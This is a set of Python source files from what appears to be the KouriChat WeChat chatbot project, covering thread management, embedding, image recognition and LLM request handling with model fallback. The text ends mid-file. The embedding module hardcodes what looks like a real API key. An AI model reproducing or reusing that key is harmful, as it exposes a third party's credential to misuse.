print_status("微信初始化失败,请确保微信已登录并保持在前台运行!", "error", "CROSS") return print_status("微信监听初始化完成", "success", "CHECK") # 验证记忆目录 print_status("验证角色记忆存储路径...", "info", "FILE") avatar_dir = os.path.join(root_dir, config.behavior.context.avatar_dir) avatar_name = os.path.basename(avatar_dir) memory_dir = os.path.join(avatar_dir, "memory") if not os.path.exists(memory_dir): os.makedirs(memory_dir) print_status(f"创建角色记忆目录: {memory_dir}", "success", "CHECK") # 初始化记忆文件 - 为每个监听用户创建独立的记忆文件 print_status("初始化记忆文件...", "info", "FILE") # 为每个监听的用户创建独立记忆 for user_name in listen_list: print_status(f"为用户 '{user_name}' 创建独立记忆...", "info", "USER") # 使用用户名作为用户ID memory_service.initialize_memory_files(avatar_name, user_id=user_name) print_status(f"用户 '{user_name}' 记忆初始化完成", "success", "CHECK") avatar_dir = os.path.join(root_dir, config.behavior.context.avatar_dir) prompt_path = os.path.join(avatar_dir, "avatar.md") if not os.path.exists(prompt_path): with open(prompt_path, "w", encoding="utf-8") as f: f.write("# 核心人格\n[默认内容]") print_status(f"创建人设提示文件", "warning", "WARNING") # 启动并行消息处理系统 print_status("启动并行消息处理系统...", "info", "ANTENNA") # 启动消息分发线程 dispatcher_thread = threading.Thread(target=message_dispatcher, name="MessageDispatcher") dispatcher_thread.daemon = True # 启动私聊处理线程 private_thread = threading.Thread(target=private_message_processor, name="PrivateProcessor") private_thread.daemon = True # 启动群聊处理线程 group_thread = threading.Thread(target=group_message_processor, name="GroupProcessor") group_thread.daemon = True # 启动所有线程 dispatcher_thread.start() private_thread.start() group_thread.start() print_status("并行消息处理系统已启动", "success", "CHECK") print_status(" ├─ 消息分发器线程", "info", "ANTENNA") print_status(" ├─ 私聊处理器线程", "info", "USER") print_status(" └─ 群聊处理器线程", "info", "USERS") # 初始化主动消息系统 print_status("初始化主动消息系统...", "info", "CLOCK") print_status("主动消息系统已启动", "success", "CHECK") print("-" * 50) print_status("系统初始化完成", "success", "STAR_2") print("=" * 50) # 初始化自动任务系统 auto_tasker = initialize_auto_tasks(message_handler) if not auto_tasker: print_status("自动任务系统初始化失败", "error", "ERROR") return # 主循环 - 监控并行处理线程状态 while True: time.sleep(1) # 检查关键线程状态 threads_status = [ ("消息分发器", dispatcher_thread), ("私聊处理器", private_thread), ("群聊处理器", group_thread) ] dead_threads = [] for thread_name, thread in threads_status: if not thread.is_alive(): dead_threads.append(thread_name) if dead_threads: print_status(f"检测到线程异常: {', '.join(dead_threads)}", "warning", "WARNING") # 这里可以添加重启逻辑,暂时先记录 time.sleep(5) except Exception as e: print_status(f"主程序异常: {str(e)}", "error", "ERROR") logger.error(f"主程序异常: {str(e)}", exc_info=True) finally: # 清理资源 if 'auto_sender' in locals(): auto_sender.stop() # 设置事件以停止线程 stop_event.set() # 向队列发送退出信号 try: private_message_queue.put(None) group_message_queue.put(None) except: pass # 等待所有处理线程结束 threads_to_wait = [ ("消息分发器", dispatcher_thread), ("私聊处理器", private_thread), ("群聊处理器", group_thread) ] for thread_name, thread in threads_to_wait: if thread and thread.is_alive(): print_status(f"正在关闭{thread_name}线程...", "info", "SYNC") thread.join(timeout=3) if thread.is_alive(): print_status(f"{thread_name}线程未能正常关闭", "warning", "WARNING") print_status("正在关闭系统...", "warning", "STOP") print_status("系统已退出", "info", "BYE") print("\n") if __name__ == '__main__': try: main() except KeyboardInterrupt: print("\n") print_status("用户终止程序", "warning", "STOP") print_status("感谢使用,再见!", "info", "BYE") print("\n") except Exception as e: print_status(f"程序异常退出: {str(e)}", "error", "ERROR")
2302_81798979/KouriChat
src/main.py
Python
unknown
33,562
from .database import ( Base, Session, ChatMessage, engine ) from .ai.llm_service import LLMService from .ai.image_recognition_service import ImageRecognitionService __all__ = [ 'Base', 'Session', 'ChatMessage', 'engine', 'LLMService', 'ImageRecognitionService' ] # 空文件,标记为Python包
2302_81798979/KouriChat
src/services/__init__.py
Python
unknown
323
import os import sys from pathlib import Path from tenacity import retry, stop_after_attempt, wait_exponential, retry_if_exception_type from openai import OpenAI, APIConnectionError, AuthenticationError, APIError from tenacity import retry, stop_after_attempt, wait_exponential, wait_fixed, retry_if_exception_type sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) class EmbeddingModelAI: def __init__(self, model_name='text-embedding-v2', dimension=1024): self.client = None self.available = True self.api_key = "sk-96d4c845a4ed4ab5b7af7668e298f1c6" self.model_name = model_name self.dimension = dimension try: self.client = OpenAI( api_key=self.api_key, base_url="https://dashscope.aliyuncs.com/compatible-mode/v1", timeout=30.0, max_retries=3 ) # 测试连接有效性 test_response = self.client.embeddings.create( model=self.model_name, # 使用传入的模型名称 input="connection test", dimensions=self.dimension, # 使用传入的维度参数 encoding_format="float" ) if not hasattr(test_response, 'data'): raise APIConnectionError("Invalid API response structure") except Exception as e: print(f"嵌入模型初始化失败: {str(e)}") self._handle_initialization_error(e) self.available = False def _handle_initialization_error(self, error): """处理特定类型的初始化错误""" if isinstance(error, AuthenticationError): print("认证失败:请检查DASHSCOPE_API_KEY是否正确") elif isinstance(error, APIConnectionError): print("连接失败:请检查网络或API端点") elif hasattr(error, 'status_code'): print(f"API返回错误状态码:{error.status_code}") @retry(stop=stop_after_attempt(3), wait=wait_fixed(1)) def get_embeddings(self, text): try: response = self.client.embeddings.create( model=self.model_name, input=text, dimensions=self.dimension, encoding_format="float" ) return response.data[0].embedding except APIConnectionError as e: print(f"API连接异常: {str(e)}") self.available = False return None except AuthenticationError as e: print(f"认证失败: {str(e)}") self.available = False return None except APIError as e: print(f"API错误 [{e.status_code}]: {str(e)}") return None except Exception as e: print(f"未知错误: {str(e)}") return None @property def status(self): """返回服务状态信息""" return { "available": self.available, "api_endpoint": self.client.base_url if self.client else None, "model": "text-embedding-v3" }
2302_81798979/KouriChat
src/services/ai/embedding.py
Python
unknown
3,175
""" 图像识别 AI 服务模块 提供与图像识别 API 的交互功能,包括: - 图像识别 - 文本生成 - API请求处理 - 错误处理 """ import base64 import logging import requests from typing import Optional import os # 修改logger获取方式,确保与main模块一致 logger = logging.getLogger('main') class ImageRecognitionService: def __init__(self, api_key: str, base_url: str, temperature: float, model: str): self.api_key = api_key self.base_url = base_url # 确保 temperature 在有效范围内 self.temperature = min(max(0.0, temperature), 1.0) # 限制在 0-1 之间 # 使用 Updater 获取版本信息并设置请求头 from src.autoupdate.updater import Updater updater = Updater() version = updater.get_current_version() version_identifier = updater.get_version_identifier() self.headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json', 'User-Agent': version_identifier, 'X-KouriChat-Version': version } self.model = model # "moonshot-v1-8k-vision-preview" if temperature > 1.0: logger.warning(f"Temperature值 {temperature} 超出范围,已自动调整为 1.0") def recognize_image(self, image_path: str, is_emoji: bool = False) -> str: """使用 Moonshot AI 识别图片内容并返回文本""" try: # 验证图片路径 if not os.path.exists(image_path): logger.error(f"图片文件不存在: {image_path}") return "抱歉,图片文件不存在" # 验证文件大小 file_size = os.path.getsize(image_path) / (1024 * 1024) # 转换为MB if file_size > 100: # API限制为100MB logger.error(f"图片文件过大 ({file_size:.2f}MB): {image_path}") return "抱歉,图片文件太大了" # 读取并编码图片 try: with open(image_path, 'rb') as img_file: image_content = base64.b64encode(img_file.read()).decode('utf-8') except Exception as e: logger.error(f"读取图片文件失败: {str(e)}") return "抱歉,读取图片时出现错误" # 设置提示词 text_prompt = "请描述这个图片" if not is_emoji else "这是一张微信聊天的图片截图,请描述这个聊天窗口左边的聊天用户用户发送的最后一张表情,不要去识别聊天用户的头像" # 准备请求数据 data = { "model": self.model, "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { "url": f"data:image/jpeg;base64,{image_content}" } }, { "type": "text", "text": text_prompt } ] } ], "temperature": self.temperature } # 发送请求 try: response = requests.post( f"{self.base_url}/chat/completions", headers=self.headers, json=data, timeout=30 # 添加超时设置 ) # 检查响应状态 if response.status_code != 200: logger.error(f"API请求失败 - 状态码: {response.status_code}, 响应: {response.text}") return "抱歉,图片识别服务暂时不可用" # 处理响应 result = response.json() if 'choices' not in result or not result['choices']: logger.error(f"API响应格式异常: {result}") return "抱歉,无法解析图片内容" recognized_text = result['choices'][0]['message']['content'] # 处理表情包识别结果 if is_emoji: if "最后一张表情包是" in recognized_text: recognized_text = recognized_text.split("最后一张表情包是", 1)[1].strip() recognized_text = "用户发送了一张表情包,表情包的内容是::" + recognized_text else: recognized_text = "用户发送了一张照片,照片的内容是:" + recognized_text logger.info(f"Moonshot AI图片识别结果: {recognized_text}") return recognized_text except requests.exceptions.Timeout: logger.error("API请求超时") return "抱歉,图片识别服务响应超时" except requests.exceptions.RequestException as e: logger.error(f"API请求异常: {str(e)}") return "抱歉,图片识别服务出现错误" except Exception as e: logger.error(f"处理API响应失败: {str(e)}") return "抱歉,处理图片识别结果时出现错误" except Exception as e: logger.error(f"图片识别过程失败: {str(e)}", exc_info=True) return "抱歉,图片识别过程出现错误" def chat_completion(self, messages: list, **kwargs) -> Optional[str]: """发送聊天请求到 Moonshot AI""" try: data = { "model": self.model, "messages": messages, "temperature": kwargs.get('temperature', self.temperature) } response = requests.post( f"{self.base_url}/chat/completions", headers=self.headers, json=data ) response.raise_for_status() result = response.json() return result['choices'][0]['message']['content'] except Exception as e: logger.error(f"图像识别服务请求失败: {str(e)}") return None
2302_81798979/KouriChat
src/services/ai/image_recognition_service.py
Python
unknown
6,387
""" LLM AI 服务模块 提供与LLM API的完整交互实现,包含以下核心功能: - API请求管理 - 上下文对话管理 - 响应安全处理 - 智能错误恢复 """ import logging import re import os import random import json # 新增导入 import time # 新增导入 import pathlib from zhdate import ZhDate import datetime import requests from typing import Dict, List, Optional, Tuple, Union from openai import OpenAI from src.autoupdate.updater import Updater from tenacity import ( retry, stop_after_attempt, wait_random_exponential, retry_if_exception_type ) # 导入emoji库用于处理表情符号 import emoji # 修改logger获取方式,确保与main模块一致 logger = logging.getLogger('main') class LLMService: def __init__(self, api_key: str, base_url: str, model: str, max_token: int, temperature: float, max_groups: int, auto_model_switch: bool = False): """ 强化版AI服务初始化 :param api_key: API认证密钥 :param base_url: API基础URL :param model: 使用的模型名称 :param max_token: 最大token限制 :param temperature: 创造性参数(0~2) :param max_groups: 最大对话轮次记忆 :param system_prompt: 系统级提示词 :param auto_model_switch: 是否启用自动模型切换 """ # 创建 Updater 实例获取版本信息 updater = Updater() version = updater.get_current_version() version_identifier = updater.get_version_identifier() self.client = OpenAI( api_key=api_key, base_url=base_url, default_headers={ "Content-Type": "application/json", "User-Agent": version_identifier, "X-KouriChat-Version": version } ) self.config = { "model": model, "max_token": max_token, "temperature": temperature, "max_groups": max_groups, "auto_model_switch": auto_model_switch } self.original_model = model self.chat_contexts: Dict[str, List[Dict]] = {} # 安全字符白名单(可根据需要扩展) self.safe_pattern = re.compile(r'[\x00-\x1F\u202E\u200B]') # 如果是 Ollama,获取可用模型列表 if 'localhost:11434' in base_url: self.ollama_models = self.get_ollama_models() else: self.ollama_models = [] self.available_models = self._get_available_models() def _manage_context(self, user_id: str, message: str, role: str = "user"): """ 上下文管理器(支持动态记忆窗口) :param user_id: 用户唯一标识 :param message: 消息内容 :param role: 角色类型(user/assistant) """ if user_id not in self.chat_contexts: self.chat_contexts[user_id] = [] # 添加新消息 self.chat_contexts[user_id].append({"role": role, "content": message}) # 维护上下文窗口 while len(self.chat_contexts[user_id]) > self.config["max_groups"] * 2: # 优先保留最近的对话组 self.chat_contexts[user_id] = self.chat_contexts[user_id][-self.config["max_groups"]*2:] def _build_time_context(self, user_id: str) -> str: """构建时间上下文信息""" if user_id not in self.chat_contexts or len(self.chat_contexts[user_id]) < 2: return "这是你们今天的第一次对话。" try: # 获取最后两条消息的时间 recent_messages = self.chat_contexts[user_id][-2:] last_msg_time = None current_time = datetime.datetime.now() for msg in reversed(recent_messages): if 'timestamp' in msg: last_msg_time = datetime.datetime.fromisoformat(msg['timestamp']) break if last_msg_time: time_diff = current_time - last_msg_time seconds = int(time_diff.total_seconds()) if seconds < 60: time_desc = f"距离上条消息仅过去了{seconds}秒" elif seconds < 3600: minutes = seconds // 60 time_desc = f"距离上条消息过去了{minutes}分钟" else: hours = seconds // 3600 time_desc = f"距离上条消息过去了{hours}小时" return f"{time_desc},请根据时间的流逝,调整回答内容。" except Exception as e: logger.error(f"构建时间上下文失败: {str(e)}") return "请注意时间的连续性。" def _sanitize_response(self, raw_text: str) -> str: """ 响应安全处理器 1. 移除控制字符 2. 标准化换行符 3. 防止字符串截断异常 4. 处理emoji表情符号,确保跨平台兼容性 """ try: # 移除控制字符 cleaned = re.sub(self.safe_pattern, '', raw_text) # 标准化换行符 cleaned = cleaned.replace('\r\n', '\n').replace('\r', '\n') # 处理emoji表情符号 cleaned = self._process_emojis(cleaned) return cleaned except Exception as e: logger.error(f"Response sanitization failed: {str(e)}") return "响应处理异常,请重新尝试" def _process_emojis(self, text: str) -> str: """处理文本中的emoji表情符号,确保跨平台兼容性""" try: # 先将Unicode表情符号转换为别名再转回,确保标准化 return emoji.emojize(emoji.demojize(text)) except Exception: return text # 如果处理失败,返回原始文本 def _filter_thinking_content(self, content: str) -> str: """ 过滤思考内容,支持不同模型的返回格式 1. R1格式: 思考过程...\n\n\n最终回复 2. Gemini格式: <think>思考过程</think>\n\n最终回复 """ try: # 使用分割替代正则表达式处理 Gemini 格式 if '<think>' in content and '</think>' in content: parts = content.split('</think>') # 只保留最后一个</think>后的内容 filtered_content = parts[-1].strip() else: filtered_content = content # 过滤 R1 格式 (思考过程...\n\n\n最终回复) # 查找三个连续换行符 triple_newline_match = re.search(r'\n\n\n', filtered_content) if triple_newline_match: # 只保留三个连续换行符后面的内容(最终回复) filtered_content = filtered_content[triple_newline_match.end():] return filtered_content.strip() except Exception as e: logger.error(f"过滤思考内容失败: {str(e)}") return content # 如果处理失败,返回原始内容 def _validate_response(self, response: dict) -> bool: """ 放宽检验 API响应校验 只要能获取到有效的回复内容就返回True """ try: # 调试:打印完整响应结构 logger.debug(f"API响应结构: {json.dumps(response, default=str, indent=2)}") # 尝试获取回复内容 if isinstance(response, dict): choices = response.get("choices", []) if choices and isinstance(choices, list): first_choice = choices[0] if isinstance(first_choice, dict): # 尝试不同的响应格式 # 格式1: choices[0].message.content if isinstance(first_choice.get("message"), dict): content = first_choice["message"].get("content") if content and isinstance(content, str): return True # 格式2: choices[0].content content = first_choice.get("content") if content and isinstance(content, str): return True # 格式3: choices[0].text text = first_choice.get("text") if text and isinstance(text, str): return True logger.warning("无法从响应中获取有效内容,完整响应: %s", json.dumps(response, default=str)) return False except Exception as e: logger.error(f"验证响应时发生错误: {str(e)}") return False def get_response(self, message: str, user_id: str, system_prompt: str, previous_context: List[Dict] = None, core_memory: str = None) -> str: """ 完整请求处理流程 Args: message: 用户消息 user_id: 用户ID system_prompt: 系统提示词(人设) previous_context: 历史上下文(可选) core_memory: 核心记忆(可选) """ # —— 阶段1:输入验证 —— if not message.strip(): return "Error: Empty message received" # —— 阶段2:上下文更新 —— # 只在程序刚启动时(上下文为空时)加载外部历史上下文 if previous_context and user_id not in self.chat_contexts: logger.info(f"程序启动初始化:为用户 {user_id} 加载历史上下文,共 {len(previous_context)} 条消息") # 确保上下文只包含当前用户的历史信息 self.chat_contexts[user_id] = previous_context.copy() # 添加当前消息到上下文 self._manage_context(user_id, message) # —— 阶段3:构建请求参数 —— # 时间间隔 time_context = self._build_time_context(user_id) # 获取当前时间并格式化 now = datetime.datetime.now() weekdays = ["星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"] weekday = weekdays[now.weekday()] current_time_str = now.strftime(f"%Y年%m月%d日 %H:%M:%S {weekday}") # 获取农历日期 try: lunar_date = ZhDate.from_datetime(now) lunar_date_str = lunar_date.chinese() # 这会生成类似 "甲辰龙年腊月廿三" 的字符串 except Exception as e: logger.error(f"获取农历日期失败: {str(e)}") lunar_date_str = "未知" # 如果失败则提供一个默认值 time_prompt = f"当前时间是 {current_time_str},{lunar_date_str}。你必须根据当前时间来生成你的回复内容。 {time_context} ,你的活动要符合当前时间段" # 读取基础Prompt try: # 从当前文件位置(llm_service.py)向上导航到项目根目录 current_dir = os.path.dirname(os.path.abspath(__file__)) # src/services/ai project_root = os.path.dirname(os.path.dirname(os.path.dirname(current_dir))) # 项目根目录 base_prompt_path = os.path.join(project_root, "src", "base", "base.md") with open(base_prompt_path, "r", encoding="utf-8") as f: base_content = f.read() except Exception as e: logger.error(f"基础Prompt文件读取失败: {str(e)}") base_content = "" try: project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) # 项目根目录 worldview_path = os.path.join(project_root, "src", "base", "worldview.md") with open(worldview_path, "r", encoding="utf-8") as f: worldview_content = f.read() except FileNotFoundError as e: logger.error(f"世界观文件缺失: {str(e)}") except Exception as e: logger.error(f"加载世界观时出现异常: {str(e)}") worldview_content = "" # 构建系统提示词: base + 世界观 + 核心记忆 + 人设 if not worldview_content and not core_memory: character_prompt = f"{base_content}\n\n你所扮演的角色介绍如下:\n{system_prompt}" elif worldview_content and not core_memory: character_prompt = f"{base_content}\n\n你所饰演的角色所处世界的世界观为:\n{worldview_content}\n\n你所扮演的角色介绍如下:\n{system_prompt}" elif not worldview_content and core_memory: character_prompt = f"{base_content}\n\n你所饰演角色所具备的核心记忆为:\n{core_memory}\n\n你所扮演的角色介绍如下:\n{system_prompt}" else: character_prompt = f"{base_content}\n\n你所饰演的角色所处世界的世界观为:\n{worldview_content}你所饰演角色所具备的核心记忆为:\n{core_memory}\n\n你所扮演的角色介绍如下:\n{system_prompt}" # 构建最终的系统提示词,将时间信息放在最前面 final_prompt = f"{time_prompt}\n\n{character_prompt}" logger.debug("最终提示词结构:当前时间 + (base.md + 世界观 + 记忆 + 人设)") # 构建消息列表 messages = [ {"role": "system", "content": final_prompt}, *self.chat_contexts.get(user_id, [])[-self.config["max_groups"] * 2:] ] # 为 Ollama 构建消息内容 chat_history = self.chat_contexts.get(user_id, [])[-self.config["max_groups"] * 2:] history_text = "\n".join([ f"{msg['role']}: {msg['content']}" for msg in chat_history ]) ollama_message = { "role": "user", "content": f"{final_prompt}\n\n对话历史:\n{history_text}\n\n用户问题:{message}" } # 检查是否是 Ollama API is_ollama = 'localhost:11434' in str(self.client.base_url) # —— 阶段4:执行API请求(带重试机制和自动模型切换)—— max_retries = 3 last_error = None current_model = self.config["model"] models_tried = [] logger.info(f"准备发送API请求 - 用户: {user_id}, 模型: {self.config['model']}") for attempt in range(max_retries): try: models_tried.append(current_model) if is_ollama: # Ollama API 格式 request_config = { "model": current_model.split('/')[-1], # 移除路径前缀 "messages": [ollama_message], # 将消息包装在列表中 "stream": False, "options": { "temperature": self.config["temperature"], "max_tokens": self.config["max_token"] } } # 使用 requests 库向 Ollama API 发送 POST 请求 # 创建 Updater 实例获取版本信息 updater = Updater() version = updater.get_current_version() version_identifier = updater.get_version_identifier() response = requests.post( f"{str(self.client.base_url)}", json=request_config, headers={ "Content-Type": "application/json", "User-Agent": version_identifier, "X-KouriChat-Version": version } ) response.raise_for_status() response_data = response.json() # 检查响应中是否包含 message 字段 if response_data and "message" in response_data: raw_content = response_data["message"]["content"] # 处理 R1 特殊格式,可能包含 reasoning_content 字段 if isinstance(response_data["message"], dict) and "reasoning_content" in response_data["message"]: logger.debug("检测到 R1 格式响应,将分离思考内容") # 只使用 content 字段内容,忽略 reasoning_content raw_content = response_data["message"]["content"] else: raise ValueError(f"错误的API响应结构: {json.dumps(response_data, default=str)}") else: # 标准 OpenAI 格式 request_config = { "model": current_model, # 模型名称 "messages": messages, # 消息列表 "temperature": self.config["temperature"], # 温度参数 "max_tokens": self.config["max_token"], # 最大 token 数 "frequency_penalty": 0.2 # 频率惩罚参数 } # 使用 OpenAI 客户端发送请求 response = self.client.chat.completions.create(**request_config) # 验证 API 响应结构 if not self._validate_response(response.model_dump()): raise ValueError(f"错误的API响应结构: {json.dumps(response.model_dump(), default=str)}") # 获取原始内容 raw_content = response.choices[0].message.content # 清理响应内容 clean_content = self._sanitize_response(raw_content) # 过滤思考内容 filtered_content = self._filter_thinking_content(clean_content) # 检查响应内容是否为错误消息 if filtered_content.strip().lower().startswith("error"): raise ValueError(f"错误响应: {filtered_content}") # 成功获取有效响应,更新上下文并返回 self._manage_context(user_id, filtered_content, "assistant") # 如果使用了备用模型,记录日志 if current_model != self.original_model: logger.info(f"使用备用模型 {current_model} 成功获取响应") return filtered_content or "" except Exception as e: last_error = f"Error: {str(e)}" logger.warning(f"模型 {current_model} API请求失败 (尝试 {attempt+1}/{max_retries}): {str(e)}") # 如果启用了自动切换模型且这不是最后一次尝试 if self.config["auto_model_switch"] and attempt < max_retries - 1: next_model = self._get_next_model(current_model) if next_model and next_model not in models_tried: logger.info(f"自动切换到模型: {next_model}") current_model = next_model continue # 如果这不是最后一次尝试,则继续 if attempt < max_retries - 1: continue # 所有重试都失败后,记录最终错误并返回 if self.config.get("auto_model_switch", False): logger.error(f"所有模型 {models_tried} 均失败: {last_error}") else: logger.error(f"所有重试尝试均失败: {last_error}") return last_error def clear_history(self, user_id: str) -> bool: """ 清空指定用户的对话历史 """ if user_id in self.chat_contexts: del self.chat_contexts[user_id] logger.info("已清除用户 %s 的对话历史", user_id) return True return False def analyze_usage(self, response: dict) -> Dict: """ 用量分析工具 """ usage = response.get("usage", {}) return { "prompt_tokens": usage.get("prompt_tokens", 0), "completion_tokens": usage.get("completion_tokens", 0), "total_tokens": usage.get("total_tokens", 0), "estimated_cost": (usage.get("total_tokens", 0) / 1000) * 0.02 # 示例计价 } def chat(self, messages: list, **kwargs) -> str: """ 发送聊天请求并获取回复 Args: messages: 消息列表,每个消息是包含 role 和 content 的字典 **kwargs: 额外的参数配置,包括 model、temperature 等 Returns: str: AI的回复内容 """ try: # 使用传入的model参数,如果没有则使用默认模型 model = kwargs.get('model', self.config["model"]) logger.info(f"使用模型: {model} 发送聊天请求") response = self.client.chat.completions.create( model=model, messages=messages, temperature=kwargs.get('temperature', self.config["temperature"]), max_tokens=self.config["max_token"] ) if not self._validate_response(response.model_dump()): error_msg = f"错误的API响应结构: {json.dumps(response.model_dump(), default=str)}" logger.error(error_msg) return f"Error: {error_msg}" raw_content = response.choices[0].message.content # 清理和过滤响应内容 clean_content = self._sanitize_response(raw_content) filtered_content = self._filter_thinking_content(clean_content) return filtered_content or "" except Exception as e: logger.error(f"Chat completion failed: {str(e)}") return f"Error: {str(e)}" def get_ollama_models(self) -> List[Dict]: """获取本地 Ollama 可用的模型列表""" try: response = requests.get('http://localhost:11434/api/tags') if response.status_code == 200: models = response.json().get('models', []) return [ { "id": model['name'], "name": model['name'], "status": "active", "type": "chat", "context_length": 16000 # 默认上下文长度 } for model in models ] return [] except Exception as e: logger.error(f"获取Ollama模型列表失败: {str(e)}") return [] def get_config(self) -> Dict: """ 获取当前LLM服务的配置参数 方便外部服务(如记忆服务)获取最新配置 Returns: Dict: 包含当前配置的字典 """ return self.config.copy() # 返回配置的副本以防止外部修改 def _get_available_models(self) -> List[str]: """ 通过API动态获取当前提供商支持的聊天模型列表 Returns: List[str]: 可用的聊天模型列表 """ try: base_url = str(self.client.base_url).lower() # 特殊处理Ollama if 'localhost:11434' in base_url: return [model['id'] for model in self.ollama_models] # 使用OpenAI标准的v1/models端点获取模型列表 logger.debug(f"正在从 {self.client.base_url} 获取可用模型列表...") try: # 使用OpenAI客户端获取模型列表 models_response = self.client.models.list() # 过滤出聊天模型 chat_models = [] for model in models_response.data: model_id = model.id # 过滤聊天模型的关键词 chat_keywords = [ 'chat', 'gpt', 'claude', 'deepseek', 'kourichat', 'grok', 'llama', 'mistral', 'qwen', 'yi', 'baichuan' ] # 排除非聊天模型的关键词 exclude_keywords = [ 'embedding', 'whisper', 'tts', 'dall-e', 'vision', 'moderation', 'edit', 'completion', 'instruct', 'image', 'search', 'weblens', 'tool' ] model_lower = model_id.lower() # 检查是否包含聊天关键词且不包含排除关键词 is_chat_model = ( any(keyword in model_lower for keyword in chat_keywords) and not any(keyword in model_lower for keyword in exclude_keywords) ) if is_chat_model: chat_models.append(model_id) if chat_models: # 对模型进行优先级排序,DeepSeek系列优先 sorted_models = self._sort_models_by_priority(chat_models) logger.debug(f"成功获取到 {len(sorted_models)} 个聊天模型: {sorted_models}") return sorted_models else: logger.warning("未找到聊天模型,使用当前模型作为唯一选项") return [self.original_model] except Exception as api_error: logger.warning(f"通过API获取模型列表失败: {str(api_error)}") # API调用失败时的后备方案:根据base_url推测可能的模型 return self._get_fallback_models(base_url) except Exception as e: logger.error(f"获取可用模型列表失败: {str(e)}") # 最终后备方案:只返回当前模型 return [self.original_model] def _sort_models_by_priority(self, models: List[str]) -> List[str]: """ 按优先级对模型进行排序 优先级顺序:Grok-4 > Grok-3 > Grok-2 > DeepSeek > KouriChat > Qwen > GPT > Claude > 其他 Args: models: 原始模型列表 Returns: List[str]: 按优先级排序后的模型列表 """ def get_model_priority(model_name: str) -> int: """获取模型的优先级数字,数字越小优先级越高""" model_lower = model_name.lower() # Grok系列 - 最高优先级 if 'grok' in model_lower: if '4' in model_lower: return 1 # Grok-4 最优先 elif '3' in model_lower: if 'fast' in model_lower: return 2 # Grok-3-fast 次优先 else: return 3 # Grok-3 第三优先 elif '2' in model_lower: return 4 # Grok-2 第四优先 elif '1.5' in model_lower: return 5 # Grok-1.5 第五优先 else: return 6 # 其他 Grok 模型 # DeepSeek系列 - 第二优先级(稳定快速) elif 'deepseek' in model_lower: if 'r1' in model_lower or 'reasoner' in model_lower: return 7 # DeepSeek R1/Reasoner elif 'v3' in model_lower: return 8 # DeepSeek V3 else: return 9 # 其他 DeepSeek 模型 # KouriChat系列 - 第三优先级 elif 'kourichat' in model_lower: if 'r1' in model_lower: return 10 # KouriChat R1 elif 'v3' in model_lower: return 11 # KouriChat V3 else: return 12 # 其他 KouriChat 模型 # Qwen系列 - 第四优先级 elif 'qwen' in model_lower: if 'plus' in model_lower: return 13 # Qwen Plus elif 'turbo' in model_lower: return 14 # Qwen Turbo else: return 15 # 其他 Qwen 模型 # GPT系列 - 第五优先级 elif 'gpt' in model_lower: if '4o' in model_lower: return 16 # GPT-4o 系列 elif '4' in model_lower: return 17 # 其他 GPT-4 系列 elif '5' in model_lower: return 18 # GPT-5 系列 else: return 19 # 其他 GPT 模型 # Claude系列 - 第六优先级(速度较慢) elif 'claude' in model_lower: return 20 # 其他模型 - 最低优先级 else: return 21 # 按优先级排序 sorted_models = sorted(models, key=get_model_priority) logger.debug(f"模型优先级排序结果: {sorted_models}") return sorted_models def _get_fallback_models(self, base_url: str) -> List[str]: """ 当API调用失败时的后备模型列表 Args: base_url: API基础URL Returns: List[str]: 后备模型列表 """ fallback_models = [] if 'kourichat.com' in base_url: fallback_models = [ "grok-4", "grok-3", "grok-3-fast", "grok-2", "grok-1.5", "grok", "deepseek-r1", "deepseek-v3", "deepseek-chat", "kourichat-r1", "kourichat-v3", "qwen-plus-latest", "qwen-turbo-latest" ] elif 'deepseek.com' in base_url: fallback_models = ["deepseek-reasoner", "deepseek-chat"] elif 'openai.com' in base_url: fallback_models = ["gpt-4o", "gpt-4o-mini", "gpt-4-turbo", "gpt-3.5-turbo"] elif 'api.moonshot.cn' in base_url: fallback_models = ["moonshot-v1-8k", "moonshot-v1-32k", "moonshot-v1-128k"] elif 'api.siliconflow.cn' in base_url: fallback_models = ["deepseek-ai/DeepSeek-V3", "Qwen/Qwen2.5-72B-Instruct"] else: # 通用后备列表 fallback_models = [self.original_model] return self._sort_models_by_priority(fallback_models) def _get_next_model(self, current_model: str) -> Optional[str]: """ 获取下一个可用的模型 Args: current_model: 当前使用的模型 Returns: Optional[str]: 下一个可用的模型,如果没有则返回None """ if not self.available_models: return None # 如果当前模型不在可用模型列表中(比如配置了错误的模型名) # 直接返回第一个可用的模型 if current_model not in self.available_models: logger.info(f"当前模型 '{current_model}' 不在可用模型列表中,切换到第一个可用模型") return self.available_models[0] current_index = self.available_models.index(current_model) next_index = (current_index + 1) % len(self.available_models) # 如果只有一个模型,返回None表示没有其他模型可用 if len(self.available_models) == 1: return None # 如果循环回到当前模型,说明已经尝试了所有模型 if next_index == current_index: return None return self.available_models[next_index]
2302_81798979/KouriChat
src/services/ai/llm_service.py
Python
unknown
32,212
""" 网络搜索服务模块 提供网络搜索和网页内容提取功能,包含以下核心功能: - URL 检测 - 网页内容提取 - 网络搜索 - API 请求管理 """ import logging import re import requests import json from typing import List, Optional, Dict, Any, Tuple from src.services.ai.llm_service import LLMService from data.config import NETWORK_SEARCH_ENABLED, WEBLENS_ENABLED from src.autoupdate.updater import Updater # 获取 logger logger = logging.getLogger('main') class NetworkSearchService: def __init__(self, llm_service: LLMService): """ 初始化网络搜索服务 :param llm_service: LLM服务实例,用于调用API """ self.llm_service = llm_service # 使用全局配置变量获取API密钥和基础URL from data.config import NETWORK_SEARCH_API_KEY, DEEPSEEK_API_KEY # 如果网络搜索API密钥为空,则使用LLM的API密钥 self.api_key = NETWORK_SEARCH_API_KEY if NETWORK_SEARCH_API_KEY else DEEPSEEK_API_KEY # 固定使用KouriChat API地址 self.base_url = "https://api.kourichat.com/v1" # 创建 Updater 实例获取版本信息 updater = Updater() version = updater.get_current_version() version_identifier = updater.get_version_identifier() # 设置请求头 self.headers = { 'Authorization': f'Bearer {self.api_key}', 'Content-Type': 'application/json', 'User-Agent': version_identifier, 'X-KouriChat-Version': version } # URL 检测正则表达式 self.url_pattern = re.compile(r'(https?://)?((?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,})(:\d{2,5})?(/[^\s]*)?') def detect_urls(self, text: str) -> List[str]: """ 从文本中检测 URL :param text: 要检测的文本 :return: 检测到的 URL 列表 """ if not text: return [] urls = [] matches = 